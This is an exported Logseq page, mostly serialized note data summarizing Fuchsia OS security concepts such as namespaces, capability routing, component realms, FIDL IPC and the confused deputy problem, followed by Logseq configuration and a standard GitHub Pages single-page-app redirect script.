on passing capabilities from creator (no ((67b7665b-d447-4148-968c-5e162ec8c3fc)))logseq____&quot;,536879288]],[logseq____&quot;^15logseq____&quot;,[1028,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536879225]],[logseq____&quot;^15logseq____&quot;,[1028,logseq____&quot;^@logseq____&quot;,false,536879225]],[logseq____&quot;^15logseq____&quot;,[1028,logseq____&quot;^Flogseq____&quot;,1027,536879225]],[logseq____&quot;^15logseq____&quot;,[1028,logseq____&quot;^Xlogseq____&quot;,1013,536879225]],[logseq____&quot;^15logseq____&quot;,[1028,logseq____&quot;^Vlogseq____&quot;,1026,536879225]],[logseq____&quot;^15logseq____&quot;,[1028,logseq____&quot;^Ulogseq____&quot;,60,536879273]],[logseq____&quot;^15logseq____&quot;,[1028,logseq____&quot;^Ulogseq____&quot;,1013,536879273]],[logseq____&quot;^15logseq____&quot;,[1028,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536879288]],[logseq____&quot;^15logseq____&quot;,[1028,logseq____&quot;^Hlogseq____&quot;,60,536879288]],[logseq____&quot;^15logseq____&quot;,[1028,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd8ef8-c02b-41b2-8893-914abc1f5c65logseq____&quot;,536879225]],[logseq____&quot;^15logseq____&quot;,[1029,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Namespaces: private view controlling system influence from process (per-component hierarchy, filesystem, sockets, services, devices and named objects); Objects populated by creator process based on capabilitieslogseq____&quot;,536879346]],[logseq____&quot;^15logseq____&quot;,[1029,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536879291]],[logseq____&quot;^15logseq____&quot;,[1029,logseq____&quot;^@logseq____&quot;,false,536879291]],[logseq____&quot;^15logseq____&quot;,[1029,logseq____&quot;^Flogseq____&quot;,1028,536879291]],[logseq____&quot;^15logseq____&quot;,[1029,logseq____&quot;^Xlogseq____&quot;,1013,536879291]],[logseq____&quot;^15logseq____&quot;,[1029,logseq____&quot;^Vlogseq____&quot;,1026,536879291]],[logseq____&quot;^15logseq____&quot;,[1029,logseq____&quot;^Ulogseq____&quot;,1013,536879292]],[logseq____&quot;^15logseq____&quot;,[1029,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536879346]],[logseq____&quot;^15logseq____&quot;,[1029,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd8f46-e944-4043-a7c2-1d54f3f21c00logseq____&quot;,536879291]],[logseq____&quot;^15logseq____&quot;,[1030,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;common abstraction defining how each piece of software is described and executedlogseq____&quot;,536879356]],[logseq____&quot;^15logseq____&quot;,[1030,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536879356]],[logseq____&quot;^15logseq____&quot;,[1030,logseq____&quot;^@logseq____&quot;,false,536879356]],[logseq____&quot;^15logseq____&quot;,[1030,logseq____&quot;^Flogseq____&quot;,1019,536879356]],[logseq____&quot;^15logseq____&quot;,[1030,logseq____&quot;^Xlogseq____&quot;,1013,536879356]],[logseq____&quot;^15logseq____&quot;,[1030,logseq____&quot;^Vlogseq____&quot;,1019,536879358]],[logseq____&quot;^15logseq____&quot;,[1030,logseq____&quot;^Ulogseq____&quot;,1013,536879364]],[logseq____&quot;^15logseq____&quot;,[1030,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536879356]],[logseq____&quot;^15logseq____&quot;,[1030,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd8fb7-5f9c-4f50-9587-14477c21b959logseq____&quot;,536879356]],[logseq____&quot;^15logseq____&quot;,[1031,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Uniquely identified by URLlogseq____&quot;,536879374]],[logseq____&quot;^15logseq____&quot;,[1031,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536879367]],[logseq____&quot;^15logseq____&quot;,[1031,logseq____&quot;^@logseq____&quot;,false,536879367]],[logseq____&quot;^15logseq____&quot;,[1031,logseq____&quot;^Flogseq____&quot;,1030,536879367]],[logseq____&quot;^15logseq____&quot;,[1031,logseq____&quot;^Xlogseq____&quot;,1013,536879367]],[logseq____&quot;^15logseq____&quot;,[1031,logseq____&quot;^Vlogseq____&quot;,1019,536879367]],[logseq____&quot;^15logseq____&quot;,[1031,logseq____&quot;^Ulogseq____&quot;,1013,536879368]],[logseq____&quot;^15logseq____&quot;,[1031,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536879374]],[logseq____&quot;^15logseq____&quot;,[1031,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd8fbb-304c-4fc7-b972-241b1c3265celogseq____&quot;,536879367]],[logseq____&quot;^15logseq____&quot;,[1032,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Component Manager: responsible for component execution coordinationlogseq____&quot;,536879396]],[logseq____&quot;^15logseq____&quot;,[1032,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536879377]],[logseq____&quot;^15logseq____&quot;,[1032,logseq____&quot;^@logseq____&quot;,false,536879377]],[logseq____&quot;^15logseq____&quot;,[1032,logseq____&quot;^Flogseq____&quot;,1031,536879377]],[logseq____&quot;^15logseq____&quot;,[1032,logseq____&quot;^Xlogseq____&quot;,1013,536879377]],[logseq____&quot;^15logseq____&quot;,[1032,logseq____&quot;^Vlogseq____&quot;,1019,536879377]],[logseq____&quot;^15logseq____&quot;,[1032,logseq____&quot;^Ulogseq____&quot;,1013,536879378]],[logseq____&quot;^15logseq____&quot;,[1032,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536879396]],[logseq____&quot;^15logseq____&quot;,[1032,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd8fc2-9fdf-4cd4-bb9e-e69bafacd579logseq____&quot;,536879377]],[logseq____&quot;^15logseq____&quot;,[1033,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Parent components responsible for creating and managing (capabilities) instances of child components =logseq____&gt; *component instance tree*logseq____&quot;,536879442]],[logseq____&quot;^15logseq____&quot;,[1033,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536879399]],[logseq____&quot;^15logseq____&quot;,[1033,logseq____&quot;^@logseq____&quot;,false,536879399]],[logseq____&quot;^15logseq____&quot;,[1033,logseq____&quot;^Flogseq____&quot;,1026,536879401]],[logseq____&quot;^15logseq____&quot;,[1033,logseq____&quot;^Xlogseq____&quot;,1013,536879399]],[logseq____&quot;^15logseq____&quot;,[1033,logseq____&quot;^Vlogseq____&quot;,1023,536879401]],[logseq____&quot;^15logseq____&quot;,[1033,logseq____&quot;^Ulogseq____&quot;,1013,536879400]],[logseq____&quot;^15logseq____&quot;,[1033,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536879442]],[logseq____&quot;^15logseq____&quot;,[1033,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd9032-c62b-4f00-8a03-f83099f18dd4logseq____&quot;,536879399]],[logseq____&quot;^15logseq____&quot;,[1034,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*Realm*: Component and its childrenlogseq____&quot;,536879456]],[logseq____&quot;^15logseq____&quot;,[1034,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536879445]],[logseq____&quot;^15logseq____&quot;,[1034,logseq____&quot;^@logseq____&quot;,false,536879445]],[logseq____&quot;^15logseq____&quot;,[1034,logseq____&quot;^Flogseq____&quot;,1032,536879459]],[logseq____&quot;^15logseq____&quot;,[1034,logseq____&quot;^Xlogseq____&quot;,1013,536879445]],[logseq____&quot;^15logseq____&quot;,[1034,logseq____&quot;^Vlogseq____&quot;,1019,536879459]],[logseq____&quot;^15logseq____&quot;,[1034,logseq____&quot;^Ulogseq____&quot;,1013,536879446]],[logseq____&quot;^15logseq____&quot;,[1034,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536879456]],[logseq____&quot;^15logseq____&quot;,[1034,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd9067-a60f-48c9-8737-6acbdab2c13alogseq____&quot;,536879445]],[logseq____&quot;^15logseq____&quot;,[1035,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Can declare offered capabilitieslogseq____&quot;,536879481]],[logseq____&quot;^15logseq____&quot;,[1035,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536879462]],[logseq____&quot;^15logseq____&quot;,[1035,logseq____&quot;^@logseq____&quot;,false,536879462]],[logseq____&quot;^15logseq____&quot;,[1035,logseq____&quot;^Flogseq____&quot;,1033,536879462]],[logseq____&quot;^15logseq____&quot;,[1035,logseq____&quot;^Xlogseq____&quot;,1013,536879462]],[logseq____&quot;^15logseq____&quot;,[1035,logseq____&quot;^Vlogseq____&quot;,1023,536879462]],[logseq____&quot;^15logseq____&quot;,[1035,logseq____&quot;^Ulogseq____&quot;,1013,536879463]],[logseq____&quot;^15logseq____&quot;,[1035,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536879481]],[logseq____&quot;^15logseq____&quot;,[1035,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd90ab-6397-475c-9001-b15cc72f93b2logseq____&quot;,536879462]],[logseq____&quot;^15logseq____&quot;,[1036,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Request capabilities for program runtimelogseq____&quot;,536879503]],[logseq____&quot;^15logseq____&quot;,[1036,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536879484]],[logseq____&quot;^15logseq____&quot;,[1036,logseq____&quot;^@logseq____&quot;,false,536879484]],[logseq____&quot;^15logseq____&quot;,[1036,logseq____&quot;^Flogseq____&quot;,1035,536879484]],[logseq____&quot;^15logseq____&quot;,[1036,logseq____&quot;^Xlogseq____&quot;,1013,536879484]],[logseq____&quot;^15logseq____&quot;,[1036,logseq____&quot;^Vlogseq____&quot;,1023,536879484]],[logseq____&quot;^15logseq____&quot;,[1036,logseq____&quot;^Ulogseq____&quot;,1013,536879485]],[logseq____&quot;^15logseq____&quot;,[1036,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536879503]],[logseq____&quot;^15logseq____&quot;,[1036,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd90eb-fafd-4001-86ac-95ce7711db24logseq____&quot;,536879484]],[logseq____&quot;^15logseq____&quot;,[1037,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;IPC via FIDL (Fuchsia Interface Definition Language): allows for exposing a set of functionalities to other processes, Sercive starts server responding to IPC callslogseq____&quot;,536879550]],[logseq____&quot;^15logseq____&quot;,[1037,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536879506]],[logseq____&quot;^15logseq____&quot;,[1037,logseq____&quot;^@logseq____&quot;,false,536879506]],[logseq____&quot;^15logseq____&quot;,[1037,logseq____&quot;^Flogseq____&quot;,1036,536879506]],[logseq____&quot;^15logseq____&quot;,[1037,logseq____&quot;^Xlogseq____&quot;,1013,536879506]],[logseq____&quot;^15logseq____&quot;,[1037,logseq____&quot;^Vlogseq____&quot;,1023,536879506]],[logseq____&quot;^15logseq____&quot;,[1037,logseq____&quot;^Ulogseq____&quot;,1013,536879507]],[logseq____&quot;^15logseq____&quot;,[1037,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536879550]],[logseq____&quot;^15logseq____&quot;,[1037,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd9106-209d-480f-88e5-4c2f5b24d019logseq____&quot;,536879506]],[logseq____&quot;^15logseq____&quot;,[1038,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Capabilitieslogseq____&quot;,536879560]],[logseq____&quot;^15logseq____&quot;,[1038,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536879553]],[logseq____&quot;^15logseq____&quot;,[1038,logseq____&quot;^@logseq____&quot;,false,536879553]],[logseq____&quot;^15logseq____&quot;,[1038,logseq____&quot;^Flogseq____&quot;,1023,536879555]],[logseq____&quot;^15logseq____&quot;,[1038,logseq____&quot;^Xlogseq____&quot;,1013,536879553]],[logseq____&quot;^15logseq____&quot;,[1038,logseq____&quot;^Vlogseq____&quot;,1013,536879555]],[logseq____&quot;^15logseq____&quot;,[1038,logseq____&quot;^Ulogseq____&quot;,1013,536879554]],[logseq____&quot;^15logseq____&quot;,[1038,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536879560]],[logseq____&quot;^15logseq____&quot;,[1038,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536879560]],[logseq____&quot;^15logseq____&quot;,[1038,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd9178-92b4-4b6a-a5f6-f804b6178d7flogseq____&quot;,536879553]],[logseq____&quot;^15logseq____&quot;,[1039,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Capabilities can be declared, exposed (to parent) or offered to childrenlogseq____&quot;,536879576]],[logseq____&quot;^15logseq____&quot;,[1039,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536879560]],[logseq____&quot;^15logseq____&quot;,[1039,logseq____&quot;^@logseq____&quot;,false,536879560]],[logseq____&quot;^15logseq____&quot;,[1039,logseq____&quot;^Flogseq____&quot;,1038,536879560]],[logseq____&quot;^15logseq____&quot;,[1039,logseq____&quot;^Xlogseq____&quot;,1013,536879560]],[logseq____&quot;^15logseq____&quot;,[1039,logseq____&quot;^Vlogseq____&quot;,1038,536879562]],[logseq____&quot;^15logseq____&quot;,[1039,logseq____&quot;^Ulogseq____&quot;,1013,536879561]],[logseq____&quot;^15logseq____&quot;,[1039,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536879576]],[logseq____&quot;^15logseq____&quot;,[1039,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd917c-7770-4e2d-bfec-78fe3ebabd04logseq____&quot;,536879560]],[logseq____&quot;^15logseq____&quot;,[1040,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Capability requests are resolved via Component Manager (craetes a IPC channel, delegates IPC handels to client and server namespace)logseq____&quot;,536879636]],[logseq____&quot;^15logseq____&quot;,[1040,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536879579]],[logseq____&quot;^15logseq____&quot;,[1040,logseq____&quot;^@logseq____&quot;,false,536879579]],[logseq____&quot;^15logseq____&quot;,[1040,logseq____&quot;^Flogseq____&quot;,1039,536879579]],[logseq____&quot;^15logseq____&quot;,[1040,logseq____&quot;^Xlogseq____&quot;,1013,536879579]],[logseq____&quot;^15logseq____&quot;,[1040,logseq____&quot;^Vlogseq____&quot;,1038,536879579]],[logseq____&quot;^15logseq____&quot;,[1040,logseq____&quot;^Ulogseq____&quot;,1013,536879580]],[logseq____&quot;^15logseq____&quot;,[1040,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536879636]],[logseq____&quot;^15logseq____&quot;,[1040,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd91ab-7ddc-4450-aba0-1a2d5ff69982logseq____&quot;,536879579]],[logseq____&quot;^15logseq____&quot;,[1041,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Capabilities are routed via Fuchsia and then delegated via Zicronlogseq____&quot;,536879657]],[logseq____&quot;^15logseq____&quot;,[1041,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536879592]],[logseq____&quot;^15logseq____&quot;,[1041,logseq____&quot;^@logseq____&quot;,false,536879592]],[logseq____&quot;^15logseq____&quot;,[1041,logseq____&quot;^Flogseq____&quot;,1040,536879592]],[logseq____&quot;^15logseq____&quot;,[1041,logseq____&quot;^Xlogseq____&quot;,1013,536879592]],[logseq____&quot;^15logseq____&quot;,[1041,logseq____&quot;^Vlogseq____&quot;,1038,536879592]],[logseq____&quot;^15logseq____&quot;,[1041,logseq____&quot;^Ulogseq____&quot;,1013,536879593]],[logseq____&quot;^15logseq____&quot;,[1041,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536879657]],[logseq____&quot;^15logseq____&quot;,[1041,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd91cd-59dc-4cc7-97d0-9a7527ec21e9logseq____&quot;,536879592]],[logseq____&quot;^15logseq____&quot;,[1043,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*Environment*: configure framework choices, e.g., runner and resolver capabilities of a realmlogseq____&quot;,536879689]],[logseq____&quot;^15logseq____&quot;,[1043,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536879660]],[logseq____&quot;^15logseq____&quot;,[1043,logseq____&quot;^@logseq____&quot;,false,536879660]],[logseq____&quot;^15logseq____&quot;,[1043,logseq____&quot;^Flogseq____&quot;,1022,536879660]],[logseq____&quot;^15logseq____&quot;,[1043,logseq____&quot;^Xlogseq____&quot;,1013,536879660]],[logseq____&quot;^15logseq____&quot;,[1043,logseq____&quot;^Vlogseq____&quot;,1018,536879660]],[logseq____&quot;^15logseq____&quot;,[1043,logseq____&quot;^Ulogseq____&quot;,1013,536879661]],[logseq____&quot;^15logseq____&quot;,[1043,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536879689]],[logseq____&quot;^15logseq____&quot;,[1043,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd93e7-2931-421d-b2a4-f28d573c27eclogseq____&quot;,536879660]],[logseq____&quot;^15logseq____&quot;,[1045,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Confused Deputylogseq____&quot;,536879703]],[logseq____&quot;^15logseq____&quot;,[1045,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536879692]],[logseq____&quot;^15logseq____&quot;,[1045,logseq____&quot;^@logseq____&quot;,false,536879692]],[logseq____&quot;^15logseq____&quot;,[1045,logseq____&quot;^Flogseq____&quot;,1038,536879694]],[logseq____&quot;^15logseq____&quot;,[1045,logseq____&quot;^Xlogseq____&quot;,1013,536879692]],[logseq____&quot;^15logseq____&quot;,[1045,logseq____&quot;^Vlogseq____&quot;,1013,536879694]],[logseq____&quot;^15logseq____&quot;,[1045,logseq____&quot;^Ulogseq____&quot;,1013,536879693]],[logseq____&quot;^15logseq____&quot;,[1045,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536879703]],[logseq____&quot;^15logseq____&quot;,[1045,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536879703]],[logseq____&quot;^15logseq____&quot;,[1045,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd9493-7359-43d5-866a-08eed26e6b66logseq____&quot;,536879692]],[logseq____&quot;^15logseq____&quot;,[1046,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Programs must delegate capabilities to deputy for its functionalitylogseq____&quot;,536879721]],[logseq____&quot;^15logseq____&quot;,[1046,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536879703]],[logseq____&quot;^15logseq____&quot;,[1046,logseq____&quot;^@logseq____&quot;,false,536879703]],[logseq____&quot;^15logseq____&quot;,[1046,logseq____&quot;^Flogseq____&quot;,1045,536879703]],[logseq____&quot;^15logseq____&quot;,[1046,logseq____&quot;^Xlogseq____&quot;,1013,536879703]],[logseq____&quot;^15logseq____&quot;,[1046,logseq____&quot;^Vlogseq____&quot;,1045,536879709]],[logseq____&quot;^15logseq____&quot;,[1046,logseq____&quot;^Ulogseq____&quot;,1013,536879704]],[logseq____&quot;^15logseq____&quot;,[1046,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536879721]],[logseq____&quot;^15logseq____&quot;,[1046,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd9498-0802-4f64-be31-30b242ae4f7clogseq____&quot;,536879703]],[logseq____&quot;^15logseq____&quot;,[1047,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Hence, malicious programs cannot abuse it, as they can only use their own capabilitieslogseq____&quot;,536879734]],[logseq____&quot;^15logseq____&quot;,[1047,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536879721]],[logseq____&quot;^15logseq____&quot;,[1047,logseq____&quot;^@logseq____&quot;,false,536879721]],[logseq____&quot;^15logseq____&quot;,[1047,logseq____&quot;^Flogseq____&quot;,1046,536879721]],[logseq____&quot;^15logseq____&quot;,[1047,logseq____&quot;^Xlogseq____&quot;,1013,536879721]],[logseq____&quot;^15logseq____&quot;,[1047,logseq____&quot;^Vlogseq____&quot;,1045,536879721]],[logseq____&quot;^15logseq____&quot;,[1047,logseq____&quot;^Ulogseq____&quot;,1013,536879722]],[logseq____&quot;^15logseq____&quot;,[1047,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536879734]],[logseq____&quot;^15logseq____&quot;,[1047,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd94ac-c0d0-4f7b-8172-91e28886ae03logseq____&quot;,536879721]],[logseq____&quot;^15logseq____&quot;,[1049,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Combination with MAC/RBAC/ABAC can define constraints such that capabilities can only be used by certain processeslogseq____&quot;,536879785]],[logseq____&quot;^15logseq____&quot;,[1049,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536879744]],[logseq____&quot;^15logseq____&quot;,[1049,logseq____&quot;^@logseq____&quot;,false,536879744]],[logseq____&quot;^15logseq____&quot;,[1049,logseq____&quot;^Flogseq____&quot;,1041,536879744]],[logseq____&quot;^15logseq____&quot;,[1049,logseq____&quot;^Xlogseq____&quot;,1013,536879744]],[logseq____&quot;^15logseq____&quot;,[1049,logseq____&quot;^Vlogseq____&quot;,1038,536879744]],[logseq____&quot;^15logseq____&quot;,[1049,logseq____&quot;^Ulogseq____&quot;,1013,536879745]],[logseq____&quot;^15logseq____&quot;,[1049,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536879785]],[logseq____&quot;^15logseq____&quot;,[1049,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd94dc-e45c-4fef-9765-8bb9395dc445logseq____&quot;,536879744]]]]]]"</script>
<script>window.logseq_state="{:ui/theme \"light\", :ui/sidebar-collapsed-blocks {}, :config {\"local\" {:feature/enable-whiteboards? false, :shortcuts {}, :graph/forcesettings {:link-dist 140, :charge-strength -800, :charge-range 1300}, :default-templates {:journals \"\"}, :feature/enable-journals? false, :query/views {:pprint (fn [r] [:pre.code (pprint r)])}, :macros {}, :shortcut/doc-mode-enter-for-new-block? false, :favorites [], :ui/show-empty-bullets? false, :file/name-format :triple-lowbar, :preferred-workflow :now, :publishing/all-pages-public? true, :ref/default-open-blocks-level 2, :feature/enable-block-timestamps? false, :start-of-week 6, :feature/enable-timetracking? false, :ref/linked-references-collapsed-threshold 50, :outliner/block-title-collapse-enabled? false, :commands [], :ui/show-full-blocks? false, :meta/version 1, :hidden [], :default-queries {:journals [{:title \"🔨 NOW\", :query [:find (pull ?h [*]) :in $ ?start ?today :where [?h :block/marker ?marker] [(contains? #{\"NOW\" \"DOING\"} ?marker)] [?h :block/page ?p] [?p :block/journal? true] [?p :block/journal-day ?d] [(>= ?d ?start)] [(<= ?d ?today)]], :inputs [:14d :today], :result-transform (fn [result] (sort-by (fn [h] (get h :block/priority \"Z\")) result)), :group-by-page? false, :collapsed? false} {:title \"📅 NEXT\", :query [:find (pull ?h [*]) :in $ ?start ?next :where [?h :block/marker ?marker] [(contains? #{\"NOW\" \"LATER\" \"TODO\"} ?marker)] [?h :block/page ?p] [?p :block/journal? true] [?p :block/journal-day ?d] [(> ?d ?start)] [(< ?d ?next)]], :inputs [:today :7d-after], :group-by-page? false, :collapsed? false}]}, :ui/auto-expand-block-refs? true, :ui/enable-tooltip? true, :query/result-transforms {:sort-by-priority (fn [result] (sort-by (fn [h] (get h :block/priority \"Z\")) result))}, :graph/settings {:builtin-pages? false}, :property-pages/enabled? true, :block/content-max-length 10000, :ui/show-command-doc? true, :feature/enable-search-remove-accents? true, :default-home {:page \"Topics\"}}}}"</script>
<script type="text/javascript">// Single Page Apps for GitHub Pages
// https://github.com/rafgraph/spa-github-pages
// Copyright (c) 2016 Rafael Pedicini, licensed under the MIT License
// ----------------------------------------------------------------------
// This script checks to see if a redirect is present in the query string
// and converts it back into the correct url and adds it to the
// browser's history using window.history.replaceState(...),
// which won't cause the browser to attempt to load the new url.
// When the single page app is loaded further down in this file,
// the correct url will be waiting in the browser's history for
// the single page app to route accordingly.
(function(l) {
if (l.search) {
var q = {};
l.search.slice(1).split('&').forEach(function(v) {
var a = v.split('=');
q[a[0]] = a.slice(1).join('=').replace(/~and~/g, '&');
});
if (q.p !== undefined) {
window.history.replaceState(null, null,
l.pathname.slice(0, -1) + (q.p || '') +
(q.q ? ('?' + q.q) : '') +
l.hash
);
}
}
}(window.location))</script>
<script src="static/js/react.production.min.js"></script>
<script src="static/js/react-dom.production.min.js"></script>
<script src="static/js/ui.js"></script>
<script src="static/js/main.js"></script>
<script src="static/js/interact.min.js"></script>
<script src="static/js/highlight.min.js"></script>
<script src="static/js/katex.min.js"></script>
<script src="static/js/html2canvas.min.js"></script>
<script src="static/js/code-editor.js"></script>
<script src="static/js/custom.js"></script>
</body>